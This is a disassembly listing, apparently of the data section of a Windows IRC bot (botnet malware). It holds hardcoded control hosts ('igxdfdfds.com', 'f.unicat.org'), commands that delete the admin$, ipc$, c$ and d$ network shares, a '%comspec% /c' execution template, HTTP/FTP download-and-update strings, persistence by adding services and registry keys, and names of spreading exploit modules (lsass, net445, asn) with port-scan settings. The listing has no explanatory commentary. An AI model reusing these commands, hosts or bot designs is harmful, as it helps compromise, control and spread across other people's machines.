		dd 1, 43CC43h, 2, 43CC4Eh, 3, 43CC59h, 4, 43CC64h, 2 dup(0)
dword_442D48	dd 19930520h, 3, 442D68h, 5 dup(0)		dd 0FFFFFFFFh, 43CC90h,	0
		dd offset loc_43CC98
		dd 1, 43CCA6h, 2 dup(0)
dword_442D88	dd 19930520h, 16h, 442DA8h, 5 dup(0)		dd 0FFFFFFFFh, 43CCD0h,	0
		dd offset loc_43CCDB
		dd 1, 43CCE6h, 2, 43CCF1h, 2, 43CCFCh, 2, 43CD07h, 2, 43CD12h
		dd 6, 43CD1Dh, 2, 43CD28h, 8, 43CD33h, 2, 43CD3Eh, 0Ah
		dd 43CD49h, 2, 43CD54h,	0Ch, 43CD5Fh, 0Dh, 43CD6Ah, 0Eh
		dd 43CD75h, 0Fh, 43CD80h, 0Fh, 43CD8Bh,	0Fh, 43CD96h, 0Fh
		dd 43CDA1h, 0Fh, 43CDACh, 0Fh, 43CDB7h,	6 dup(0)
dword_442E70	dd 19930520h, 1, 442E90h, 5 dup(0)		dd 0FFFFFFFFh, 43CE10h,	2 dup(0)
dword_442EA0	dd 19930520h, 1, 442EC0h, 5 dup(0)		dd 0FFFFFFFFh, 43CE30h,	2 dup(0)
dword_442ED0	dd 19930520h, 1, 442EF0h, 5 dup(0)		dd 0FFFFFFFFh, 43CE50h,	2 dup(0)
dword_442F00	dd 19930520h, 1, 442F20h, 5 dup(0)		dd 0FFFFFFFFh, 43CE70h,	2 dup(0)
dword_442F30	dd 19930520h, 1, 442F50h, 5 dup(0)		dd 0FFFFFFFFh, 43CE90h,	2 dup(0)
dword_442F60	dd 19930520h, 2, 442F80h, 1, 442F90h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 442FA8h, 4	dup(0)
		dd offset loc_42C244
		align 10h
dword_442FC0	dd 19930520h, 2, 442FE0h, 1, 442FF0h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 443008h, 4	dup(0)
		dd offset loc_42C321
		align 10h
dword_443020	dd 19930520h, 3, 443040h, 5 dup(0)		dd 0FFFFFFFFh, 43CED0h,	0
		dd offset loc_43CED8
		dd 1, 43CEE0h, 2 dup(0)
dword_443060	dd 19930520h, 1, 443080h, 5 dup(0)		dd 0FFFFFFFFh, 43CF10h,	2 dup(0)
dword_443090	dd 19930520h, 1, 4430B0h, 5 dup(0)		dd 0FFFFFFFFh, 43CF30h,	2 dup(0)
dword_4430C0	dd 19930520h, 1, 4430E0h, 5 dup(0)		dd 0FFFFFFFFh, 43CF50h,	2 dup(0)
dword_4430F0	dd 19930520h, 1, 443110h, 5 dup(0)		dd 0FFFFFFFFh, 43CF70h,	2 dup(0)
dword_443120	dd 19930520h, 1, 443140h, 5 dup(0)		dd 0FFFFFFFFh, 43CF90h,	2 dup(0)
dword_443150	dd 19930520h, 6, 443170h, 5 dup(0)		dd 0FFFFFFFFh, 43CFB0h,	0FFFFFFFFh, 43CFB8h, 0FFFFFFFFh
		dd 43CFC0h, 0FFFFFFFFh,	43CFC8h, 0FFFFFFFFh, 43CFD0h, 0FFFFFFFFh
		dd 43CFD8h, 2 dup(0)
dword_4431A8	dd 19930520h, 16h, 4431C8h, 5 dup(0)		dd 0FFFFFFFFh, 43D000h,	0FFFFFFFFh, 43D00Bh, 0FFFFFFFFh
		dd 43D013h, 0FFFFFFFFh,	43D01Bh, 0FFFFFFFFh, 43D023h, 0FFFFFFFFh
		dd 43D02Eh, 0FFFFFFFFh,	43D036h, 0FFFFFFFFh, 43D03Eh, 0FFFFFFFFh
		dd 43D046h, 0FFFFFFFFh,	43D051h, 0FFFFFFFFh, 43D059h, 0FFFFFFFFh
		dd 43D061h, 0FFFFFFFFh,	43D06Ch, 0FFFFFFFFh, 43D074h, 0Dh
		dd 43D07Ch, 0Eh, 43D084h, 0Eh, 43D08Ch,	0Eh, 43D094h, 0Eh
		dd 43D09Ch, 12h, 43D0A4h, 13h, 43D0ACh,	0Eh, 43D0ACh, 6	dup(0)
dword_443290	dd 19930520h, 2, 4432B0h, 5 dup(0)		dd 0FFFFFFFFh, 43D0F0h,	0FFFFFFFFh, 43D0F8h, 2 dup(0)
dword_4432C8	dd 19930520h, 2, 4432E8h, 5 dup(0)		dd 0FFFFFFFFh, 43D110h,	0
		dd offset loc_43D11B
		align 10h
dword_443300	dd 19930520h, 1, 443320h, 5 dup(0)		dd 0FFFFFFFFh, 43D140h,	2 dup(0)
dword_443330	dd 19930520h, 2, 443350h, 5 dup(0)		dd 0FFFFFFFFh, 43D160h,	0FFFFFFFFh, 43D168h, 2 dup(0)
dword_443368	dd 19930520h, 0Ah, 443388h, 5 dup(0)		dd 0FFFFFFFFh, 43D180h,	0FFFFFFFFh, 43D18Bh, 0FFFFFFFFh
		dd 43D196h, 0FFFFFFFFh,	43D1A1h, 0FFFFFFFFh, 43D1ACh, 0FFFFFFFFh
		dd 43D1B7h, 0FFFFFFFFh,	43D1C2h, 0FFFFFFFFh, 43D1CDh, 0FFFFFFFFh
		dd 43D1D8h, 0FFFFFFFFh,	43D1E3h, 34Bh dup(0)
		dd offset aRrrrrrrrrrrrrr+1Fh
		dd offset aRrrrrrrrrr+7Ah
		dd 105h	dup(0)
aABCDEFGHIJKLMN	db 'a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G'
					; DATA XREF: sub_403530+7Fo
		db '|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|!|?|#|$|%|^|&|*|(|)|_|+|[|'
		db '`|]|0|1|2|3|4|5|6|7|8|9| |.|\|-|/|:|"|@',0
		align 4
		dd 8 dup(0)
asc_4445EC:				; DATA XREF: sub_403530+66o
					; sub_40FE30:loc_41070Eo ...
		unicode	0, <|>,0
aS		db '%s',0               ; DATA XREF: sub_404C30+86Fo
					; sub_404C30+AEBo ...
		align 4
aSS_0		db '%s %s',0Dh,0Ah,0    ; DATA XREF: sub_404C30+82Bo
					; sub_404C30+B58o ...
		align 10h
asc_444600:				; DATA XREF: sub_404600:loc_4046DFo
					; sub_404600+1EDo ...
		unicode	0, < >,0
aO		db ' -o',0              ; DATA XREF: sub_404600+75o
					; sub_40FE30:loc_410819o ...
aNetShareAdminD	db 'net share admin$ /delete /y',0
		dd 2 dup(0)
aNetShareIpcDel	db 'net share ipc$ /delete /y',0
		align 4
		dd 0
aNetShareDDelet	db 'net share d$ /delete /y',0
		align 8
aNetShareCDelet	db 'net share c$ /delete /y',0
		dd 0
dword_444684	dd 255C7325h, 73h					; sub_40D030+DEo ...
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_404C30+D72o
		align 8
aN:					; DATA XREF: sub_404C30+D1Do
		unicode	0, <N>,0
aExecutedS_	db 'Executed: %s.',0    ; DATA XREF: sub_404C30+971o
		align 4
aResolve_errorS	db 'resolve.error %s.',0 ; DATA XREF: sub_404C30+75Co
		align 10h
		dd 0
aSS_1		db '%s -> %s',0         ; DATA XREF: sub_404C30+6CFo
		align 10h
aSResolvedS	db '%s resolved %s',0   ; DATA XREF: sub_404C30+610o
		align 10h
		dd 0
aOpen		db 'open',0             ; DATA XREF: sub_404C30+444o
					; sub_41C130+Eo
		align 4
aExec_error	db 'exec.error',0       ; DATA XREF: sub_404C30+1A3o
					; sub_404C30+9ABo ...
		align 4
		dd 0
aUpDdDhDm	db 'up: %dd %dh %dm',0  ; DATA XREF: sub_4066A0+C3o
		align 10h
aCpuDmhz_Memory	db 'CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). upti'
					; DATA XREF: sub_406850+20Fo
		db 'me: %dd %dh %dm box: %s. user: %s.',0
		dd 5 dup(0)
aSS_2		db '%s [%s]',0          ; DATA XREF: sub_406850+125o
		dd 0
a???		db '???',0              ; DATA XREF: sub_406850:loc_40694Bo
a2003		db '2003',0             ; DATA XREF: sub_406850+F4o
		align 10h
aXp		db 'XP',0               ; DATA XREF: sub_406850+EAo
		align 4
a2000		db '2000',0             ; DATA XREF: sub_406850+DEo
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_406850+C7o
		align 10h
a98		db '98',0               ; DATA XREF: sub_406850+BBo
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_406850+AFo
		align 4
a95		db '95',0               ; DATA XREF: sub_406850+9Co
		align 4
aBai		db '-bai',0             ; DATA XREF: ___:loc_406E3Do
					; ___:00406E85o
		align 4
aNetsvcs	db '-netsvcs',0         ; DATA XREF: ___:loc_406E00o
					; sub_40ECF0+88o
		align 10h
aUpdate		db '-update',0          ; DATA XREF: ___:00406DC3o
		dd 0
dword_4447EC	dd 6265642Dh, 6775hdword_4447F4	dd 6425h						; ___:0040879Co ...
dword_4447F8	dd 2Eh							; ___:0041B2AAo ...
aMicrosoftVisua	db 'MicroSoft Visual SP',0 ; DATA XREF: sub_4077E0+403o
		dd 0
aEvil		db 'evil',0             ; DATA XREF: sub_4077E0+3F2o
		align 4
aFeeling_nasty	db 'feeling.nasty',0    ; DATA XREF: sub_4077E0+3E1o
		align 4
aSet		db 'set',0              ; DATA XREF: sub_4077E0+359o
asc_444830	db 'X-',0               ; DATA XREF: sub_4077E0+348o
		align 4
aAydassklfsdsew	db 'aydassklfsdsewrlkwel',0 ; DATA XREF: sub_4077E0+337o
		align 10h
aIgxdfdfds_com	db 'igxdfdfds.com',0    ; DATA XREF: sub_4077E0+326o
		align 10h
aXkey		db 'Xkey',0             ; DATA XREF: sub_4077E0+318o
		align 4
off_444868	dd offset byte_582323	; DATA XREF: sub_4077E0+307o
dword_44486C	dd 23582323h, 23ha9890		db '9890',0             ; DATA XREF: sub_4077E0+29Bo
		align 4
aF_unicat_org	db 'f.unicat.org',0     ; DATA XREF: sub_4077E0+283o
		align 10h
off_444890	dd offset off_43F1D4	; DATA XREF: ___:00440014o
		align 8
a_?avexception@	db '.?AVexception@@',0
		align 10h
off_4448B0	dd offset off_43F1D4	; DATA XREF: ___:00440034o
		align 8
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 10h
		dd 2 dup(0)
off_4448D8	dd offset off_43F1D4	; DATA XREF: ___:00440054o
		align 10h
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 10h
aInvalidVectorT	db 'invalid vector<T> subscript',0 ; DATA XREF: sub_409650+21o
					; ___:0040AA41o
		dd 2 dup(0)
aTrue		db 'true',0             ; DATA XREF: sub_40B750+3Fo
					; sub_40B7D0+43o ...
		align 4
aF		db '%f',0               ; DATA XREF: ___:0040B86Fo
		align 10h
aFalse		db 'false',0            ; DATA XREF: ___:0040B914o
		align 4
aSSWasS		db '%s = "%s" [was "%s"]',0 ; DATA XREF: ___:0040BC2Ao
		align 10h
		dd 0
aSS_5		db '%s = "%s"',0        ; DATA XREF: ___:0040BB47o
		align 10h
aDSSS		db '[%d] "%s" = "%s" ("%s")',0 ; DATA XREF: ___:0040BA81o
		dd 0
aCvar		db '(cvar)',0           ; DATA XREF: ___:0040B9F4o
		align 4
aDccSocketError	db 'dcc: socket error',0 ; DATA XREF: sub_40C4D0+52Ao
		align 4
		dd 0
aDccCompleteToS	db 'dcc: complete to %s, file: %s, (%d bytes)',0
					; DATA XREF: sub_40C4D0+48Ao
		align 10h
aDccUnableToOpe	db 'dcc: unable to open socket',0 ; DATA XREF: sub_40C4D0+377o
		align 10h
aDccTimeout	db 'dcc: timeout',0     ; DATA XREF: sub_40C4D0+327o
		align 10h
dword_444A00	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_40C4D0+296o
		dd 169h, 0
aDccFileDoesn_0	db '[DCC]: File doesn',27h,'t exist.',0 ; DATA XREF: sub_40C4D0+230o
		align 4
		dd 0
aDccFileDoesnTE	db 'dcc: file doesn',27h,'t exist',0 ; DATA XREF: sub_40C4D0+218o
		align 8
aDccFailedToOpe	db 'dcc: failed to open socket',0 ; DATA XREF: sub_40C4D0+1BBo
		align 8
aDccFailedToBin	db 'dcc: failed to bind socket',0 ; DATA XREF: sub_40C4D0+110o
		align 8
aDccFailedToCre	db '[DCC]: Failed to create socket.',0 ; DATA XREF: sub_40C4D0+B8o
		align 10h
aFilesFoundD	db 'Files Found: %d',0  ; DATA XREF: sub_40CC80+1B1o
		dd 0
asc_444AD4:				; DATA XREF: sub_40CC80+113o
					; sub_4200F0+100o
		unicode	0, <\>,0
aFoundSS	db 'Found: %s\%s',0     ; DATA XREF: sub_40D030+115o
		align 4
aS_1		db '%s\*',0             ; DATA XREF: sub_40D030+1Fo
		align 10h
aExplorer_exe	db '\explorer.exe',0    ; DATA XREF: ___:0040D549o
		align 10h
aBai_0		db ' -bai ',0
		align 4
aSCS		db '%s%c%s',0
		align 10h
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_40D650+D1o
		align 10h
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_40D650+C4o
		align 10h
		dd 0
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40D650+B7o
		align 10h
		dd 0
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_40D650+AFo
		align 10h
aKernel32_dll_0	db 'kernel32.dll',0     ; DATA XREF: sub_40D650+98o
		align 10h
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40DC10+4D3o
		align 4
		dd 0
aSSSSSSSSSS	db '%s',0Dh,0Ah         ; DATA XREF: sub_40DC10+37Co
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,'%s',0Dh,0Ah
		db '%s',0Dh,'%s',0Dh,0Ah,0
		align 4
		dd 2 dup(0)
aSS_4		db '"%s" %s',0          ; DATA XREF: sub_40EE30+6Ao
		align 8
aServicesactive	db 'ServicesActive',0   ; DATA XREF: sub_40EE30+21o
					; sub_40F050+Ao ...
		align 4
		dd 0
aServDelS_	db 'serv(del) "%s".',0  ; DATA XREF: ___:0040F501o
		align 10h
aServAddSAsSS_	db 'serv(add) "%s" as ""%s" %s".',0 ; DATA XREF: ___:0040F444o
		align 10h
		dd 0
aRegDelS_	db 'reg(del) "%s".',0   ; DATA XREF: ___:0040F349o
		align 8
aRegAddSAsS_	db 'reg(add) "%s" as "%s".',0 ; DATA XREF: ___:0040F29Do
		align 10h
		dd 0
asc_444C54	db ' :',0               ; DATA XREF: sub_40FE30+E2Bo
					; sub_40FE30+1118o ...
		align 4
asc_444C58:				; DATA XREF: sub_40FE30+CACo
					; sub_40FE30+D15o ...
		unicode	0, <!>,0
aN_0		db ' -n',0              ; DATA XREF: sub_40FE30:loc_4107F8o
					; sub_40FE30:loc_410A87o
aS_2		db ' -s',0              ; DATA XREF: sub_40FE30:loc_4107CFo
					; sub_40FE30:loc_410A66o
asc_444C64:				; DATA XREF: sub_40FE30+871o
					; sub_40FE30:loc_410AA8o ...
		unicode	0, <:>,0
a@:					; DATA XREF: sub_40FE30+7CCo
					; sub_40FE30+D2Do ...
		unicode	0, <@>,0
aSSS_0		db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40FE30+65Do
					; sub_40FE30+732o ...
		align 4
		dd 0
aSSSS00S	db '%s %s',0Dh,0Ah      ; DATA XREF: sub_40FE30+355o
		db '%s %s 0 0 :%s',0Dh,0Ah,0
		align 8
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40FE30+2C4o
					; sub_4122D0+91o ...
		align 8
aSSSS		db '%s %s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_411C00+4E3o
		align 4
aS_3		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_411C00+386o
					; sub_426070+12Do ...
		align 10h
aSSS_1		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_411C00+CBo
					; sub_412590+8Fo
		align 10h
aPublic		db '[PUBLIC]',0         ; DATA XREF: sub_4122D0:loc_4123DBo
		align 4
aPrivate	db '[PRIVATE]',0        ; DATA XREF: sub_4122D0+104o
		align 4
a_		db '. ',0               ; DATA XREF: sub_4122D0+CAo
					; sub_4122D0+E5o
		align 4
aLan		db 'lan: ',0            ; DATA XREF: sub_4122D0+AEo
		align 4
aUptime		db 'uptime',0           ; DATA XREF: ___:loc_412FE7o
		align 4
aHost		db 'host',0             ; DATA XREF: ___:loc_412F94o
		align 4
aId		db 'id',0               ; DATA XREF: ___:loc_412F3Ao
		align 4
asc_444D08:				; DATA XREF: ___:loc_412F23o
		dw 3Ch
		unicode	0, <>,0
asc_444D0C:				; DATA XREF: ___:loc_412F0Co
		dw 3Eh
		unicode	0, <>,0
asc_444D10	db '==',0               ; DATA XREF: ___:loc_412EF5o
		align 4
asc_444D14	db '!=',0               ; DATA XREF: ___:00412EE1o
		align 4
a2_2x		db '%2.2X',0            ; DATA XREF: sub_4138A0+B7o
		align 10h
aSS_6		db '%s: %s',0           ; DATA XREF: sub_419300+321o
		align 4
aSD_0		db '%s: %d',0           ; DATA XREF: sub_419300+2F9o
		align 10h
aSD_1		db '%s:%d',0            ; DATA XREF: sub_419300+284o
					; sub_419300+2ADo
		align 4
aListening	db 'listening',0        ; DATA XREF: sub_419300+222o
		align 4
aEstablished	db 'established',0      ; DATA XREF: sub_419300+217o
		dd 0
off_444D54	dd offset dword_504354	; DATA XREF: sub_419300+152o
					; ___:0042C5F2o ...
dword_444D58	dd 2D464544h, 504354h, 0					; sub_419300+140o
dword_444D64	dd 652Dh	dword_444D68	dd 6C2Dh	a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_419BE0+82o
		align 10h
		dd 0
aSS_3		db '%s%s',0             ; DATA XREF: ___:00419DF1o
		align 4
aSSS		db '%s%s%s',0           ; DATA XREF: ___:00419DCCo
		align 4
byte_444DA4	db 1			; DATA XREF: sub_41A390r
		align 4
dword_444DA8	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
; ---------------------------------------------------------------------------


loc_444DF4:				; DATA XREF: ___:00421759o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_444E08	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0dword_444E1C	dd 3000005h, 10h, 18h, 1, 0Ah dup(0)dword_444E54	dd 63257325h, 0						; sub_41F860+E5o
dword_444E5C	dd 72h		dword_444E60	dd 30h							; sub_424920+327o
dword_444E64	dd 3039h	dword_444E68	dd 383631h	dword_444E6C	dd 323931h	dword_444E70	dd 3631h	dword_444E74	dd 323731h	dword_444E78	dd 3031h	off_444E7C	dd offset dword_5C005C	; DATA XREF: ___:0041C217r
					; ___:0041C387r
word_444E80	dw 0			; DATA XREF: ___:0041C221r
					; ___:0041C391r
		align 4
off_444E84	dd offset dword_49005C	; DATA XREF: ___:0041C1E6r
					; ___:0041C356r
off_444E88	dd offset loc_43004E+2	; DATA XREF: ___:0041C1EBr
					; ___:0041C35Br
dword_444E8C	dd 24h							; ___:0041C37Fr
		dd 0
aDlEdUpdateS	db 'dl',27h,'ed-update: %s',0 ; DATA XREF: sub_41D830+5F5o
		align 4
aOpenS_		db 'open %s.',0         ; DATA XREF: sub_41D830+5BAo
		align 4
aDlDone_S_	db 'dl, done. %s .',0   ; DATA XREF: sub_41D830+567o
		align 8
asc_444EC8	db 0Dh,0Ah		; DATA XREF: sub_41D830+48Fo
		db 0Dh,0Ah,0
		align 10h
aHttpBadopen	db 'http(badopen)',0    ; DATA XREF: sub_41D830+3F1o
		align 10h
aWb		db 'wb',0               ; DATA XREF: sub_41D830+3C0o
					; ___:0041FC87o
		align 4
aHttpGetting	db 'http(getting)',0    ; DATA XREF: sub_41D830+3AFo
		align 4
aGetSHttp1_0Con	db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41D830+36Do
		db 'Connection: Keep-Alive',0Dh,0Ah
		db 'User-Agent: Mozilla/4.5',0Dh,0Ah
		db 'Host: %s:%d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
		dd 4 dup(0)
aHttpBadconnect	db 'http(badconnect)',0 ; DATA XREF: sub_41D830+327o
		align 4
aFtpBaddl	db 'ftp(baddl)',0       ; DATA XREF: sub_41D830+2A3o
		align 4
		dd 0
aFtpGetting	db 'ftp(getting)',0     ; DATA XREF: sub_41D830+25Ao
		align 4
aFtpBadlogin	db 'ftp(badlogin)',0    ; DATA XREF: sub_41D830+224o
		align 4
aFtpBadconnect	db 'ftp(badconnect)',0  ; DATA XREF: sub_41D830+1CEo
		align 10h
aSysLogoff	db 'sys(logoff)',0      ; DATA XREF: ___:0041E37Eo
		align 10h
aSysSd		db 'sys(sd)',0          ; DATA XREF: ___:0041E32Fo
		dd 0
dword_444FCC	dd 28737973h, 6F626572h, 29746Fh, 0dword_444FDC	dd 6469706Bh, 7325203Ah, 0dword_444FE8	dd 203A736Bh, 7325hdword_444FF0	dd 202E6425h, 7325202Fh, 0dword_444FFC	dd 203A706Bh, 7325haD_PidDS	db '%d. - Pid: %d - "%s"',0 ; DATA XREF: sub_41E660+130o
		align 10h
a221		db '221 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+694o
					; sub_41EF30+6A9o
		align 4
a226		db '226 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30:loc_41F595o
					; sub_41EF30+677o
		align 10h
aFtpD_D_D_DDByt	db 'ftp: %d.%d.%d.%d -> (%d bytes) (total sends: %d)',0
					; DATA XREF: sub_41EF30+62Bo
		align 4
		dd 2 dup(0)
aRb		db 'rb',0               ; DATA XREF: sub_41EF30+53Fo
		align 10h
a150		db '150 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+505o
					; sub_41EF30+51Ao
		align 4
asc_445078:				; DATA XREF: sub_41EF30+2EFo
					; sub_41EF30+33Ao ...
		unicode	0, <,>,0
a200		db '200 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+286o
					; sub_41EF30+29Bo ...
		align 4
a230		db '230 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+254o
					; sub_41EF30+269o
		align 4
a331		db '331 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+222o
					; sub_41EF30+237o
		align 4
a220		db '220 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+1F3o
					; sub_41EF30+205o
		align 4
aFtpD_D_D_DOnD	db 'ftp: %d.%d.%d.%d on %d',0 ; DATA XREF: sub_41EF30+17Eo
		align 8
aDDUseridUnixS	db '%d, %d : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_41F860+13Co
		align 4
		dd 0
aBinres		db 'BINRES',0           ; DATA XREF: ___:0041FCBDo
		align 4
aUnknown	db 'unknown',0          ; DATA XREF: sub_41FF90:loc_41FFE5o
					; sub_420530+C4r ...
		align 10h
aImagepath	db 'ImagePath',0        ; DATA XREF: sub_4200F0+CBo
					; sub_4207E0+316o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_4200F0+73o
					; sub_4207E0+2BEo
		align 8
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_4203D0+63o
		align 4
aGetmodulefilen	db 'GetModuleFileNameExA',0 ; DATA XREF: sub_420530+72o
		align 8
aEnumprocessmod	db 'EnumProcessModules',0 ; DATA XREF: sub_420530+64o
		align 10h
aEnumprocesses	db 'EnumProcesses',0    ; DATA XREF: sub_420530+52o
		align 10h
aPsapi_dll	db 'PSAPI.DLL',0        ; DATA XREF: sub_420530+20o
					; sub_420530+34o
		align 4
aSS		db '[%s] [%s]',0        ; DATA XREF: sub_4207E0+34Co
		align 4
aS????_exe	db '[%s] [????.exe]',0  ; DATA XREF: sub_4207E0+32Do
		dd 0
aS????_exeUnkno	db '[%s] [????.exe] (Unknown key)',0 ; DATA XREF: sub_4207E0+2F3o
		align 10h
aThemes		db 'Themes',0           ; DATA XREF: sub_4207E0+1F6o
		align 4
aSrservice	db 'srservice',0        ; DATA XREF: sub_4207E0+1EBo
		align 4
aWuauserv	db 'wuauserv',0         ; DATA XREF: sub_4207E0+1E0o
		align 10h
aWzcsvc		db 'WZCSVC',0           ; DATA XREF: sub_4207E0+1D5o
		align 4
aWinmgmt	db 'winmgmt',0          ; DATA XREF: sub_4207E0+1CAo
		dd 0
aWebclient	db 'WebClient',0        ; DATA XREF: sub_4207E0+1BFo
		align 10h
aW32time	db 'W32Time',0          ; DATA XREF: sub_4207E0+1B4o
		dd 0
aUpnphost	db 'upnphost',0         ; DATA XREF: sub_4207E0+1A9o
		align 4
aUploadmgr	db 'uploadmgr',0        ; DATA XREF: sub_4207E0+19Eo
		align 4
aTrkwks		db 'TrkWks',0           ; DATA XREF: sub_4207E0+193o
		align 4
aTermservice	db 'TermService',0      ; DATA XREF: sub_4207E0+188o
		dd 0
aTapisrv	db 'TapiSrv',0          ; DATA XREF: sub_4207E0+17Do
		align 8
aStisvc		db 'stisvc',0           ; DATA XREF: sub_4207E0+172o
		align 10h
aSsdpsrv	db 'SSDPSRV',0          ; DATA XREF: sub_4207E0+167o
		dd 0
aSpooler	db 'Spooler',0          ; DATA XREF: sub_4207E0+15Co
		align 8
aShellhwdetecti	db 'ShellHWDetection',0 ; DATA XREF: sub_4207E0+151o
		align 4
aSens		db 'SENS',0             ; DATA XREF: sub_4207E0+146o
		align 4
aSeclogon	db 'seclogon',0         ; DATA XREF: sub_4207E0+13Bo
		align 10h
aSchedule	db 'Schedule',0         ; DATA XREF: sub_4207E0+130o
		align 4
aSamss		db 'SamSs',0            ; DATA XREF: sub_4207E0+125o
		align 4
aRpcss		db 'RpcSs',0            ; DATA XREF: sub_4207E0+11Ao
		align 4
aRasman		db 'RasMan',0           ; DATA XREF: sub_4207E0+10Fo
		align 4
aProtectedstora	db 'ProtectedStorage',0 ; DATA XREF: sub_4207E0+104o
		align 4
aPolicyagent	db 'PolicyAgent',0      ; DATA XREF: sub_4207E0+F9o
		align 8
aPlugplay	db 'PlugPlay',0         ; DATA XREF: sub_4207E0+EEo
		align 4
aNla		db 'Nla',0              ; DATA XREF: sub_4207E0+E3o
aNetman		db 'Netman',0           ; DATA XREF: sub_4207E0+D8o
		align 10h
aMessenger	db 'Messenger',0        ; DATA XREF: sub_4207E0+CDo
		align 4
off_44530C	dd offset byte_4D444D	; DATA XREF: sub_4207E0+C5o
aLmhosts	db 'LmHosts',0          ; DATA XREF: sub_4207E0+BDo
		dd 0
aLanmanworkstat	db 'lanmanworkstation',0 ; DATA XREF: sub_4207E0+B5o
		align 10h
		dd 0
aLanmanserver	db 'lanmanserver',0     ; DATA XREF: sub_4207E0+ADo
		align 4
aHelpsvc	db 'helpsvc',0          ; DATA XREF: sub_4207E0+A5o
		align 10h
aFastuserswitch	db 'FastUserSwitchingCompatibility',0 ; DATA XREF: sub_4207E0+9Do
		align 10h
		dd 2 dup(0)
aEventsystem	db 'EventSystem',0      ; DATA XREF: sub_4207E0+95o
		align 8
aEventlog	db 'Eventlog',0         ; DATA XREF: sub_4207E0+8Do
		align 4
aErsvc		db 'ERSvc',0            ; DATA XREF: sub_4207E0+85o
		align 4
aDnscache	db 'Dnscache',0         ; DATA XREF: sub_4207E0+7Do
		align 4
aDmserver	db 'dmserver',0         ; DATA XREF: sub_4207E0+75o
		align 4
aDhcp		db 'Dhcp',0             ; DATA XREF: sub_4207E0+6Do
		align 4
aCryptsvc	db 'CryptSvc',0         ; DATA XREF: sub_4207E0+65o
		align 4
aBrowser	db 'Browser',0          ; DATA XREF: sub_4207E0+5Do
		dd 0
aAudiosrv	db 'AudioSrv',0         ; DATA XREF: sub_4207E0+55o
					; sub_4207E0:loc_420A6Bo
		align 10h
asc_4453E0:				; DATA XREF: sub_420E10:loc_420ECFo
					; sub_420E10+F9o ...
		unicode	0, </>,0
aFtp		db 'ftp',0              ; DATA XREF: sub_420E10+94o
					; sub_420E10:loc_42107Eo ...
aHttp		db 'http',0             ; DATA XREF: sub_420E10+84o
					; sub_420E10+257o ...
		align 10h
aAsn		db 'asn',0              ; DATA XREF: sub_4228F0+31o
		dd 0
		dd 73610000h, 6Eh, 6 dup(0)
dword_445418	dd 1BDh							; sub_422B40+310o ...
off_44541C	dd offset sub_401820	; DATA XREF: ___:00423F8Dr
dword_445420	dd 0							; sub_4236F0+3Ar ...
		dd 1, 0
aAsn2		db 'asn2',0
		align 4
		dd 73610000h, 326Eh, 6 dup(0)
		dd 1BDh, 401820h, 0
		dd 1, 0
aNet445		db 'net445',0
		align 10h
		dd 656E0000h, 35343474h, 6 dup(0)
		dd 1BDh, 402199h, 0
		dd 1, 0
aLsass		db 'lsass',0
		align 4
		dd 736C0000h, 737361h, 6 dup(0)
		dd 1BDh, 401DCAh, 0
		dd 1, 1Fh dup(0)
aScanSSPortScan	db 'Scan(%s): %s Port Scan %s:%d - Delay %d Sec - %d Min - %d threads'
					; DATA XREF: sub_422B40+8F3o
		db 0
		align 4
		dd 3 dup(0)
aSequential	db 'sequential',0       ; DATA XREF: sub_422B40+8B3o
		align 8
aRandom		db 'random',0           ; DATA XREF: sub_422B40+8ACo
		align 10h
aScanNoIpSpecif	db 'scan: no ip specified',0 ; DATA XREF: sub_422B40+760o
		align 4
		dd 0
aB		db ' -b',0              ; DATA XREF: sub_422B40+747o
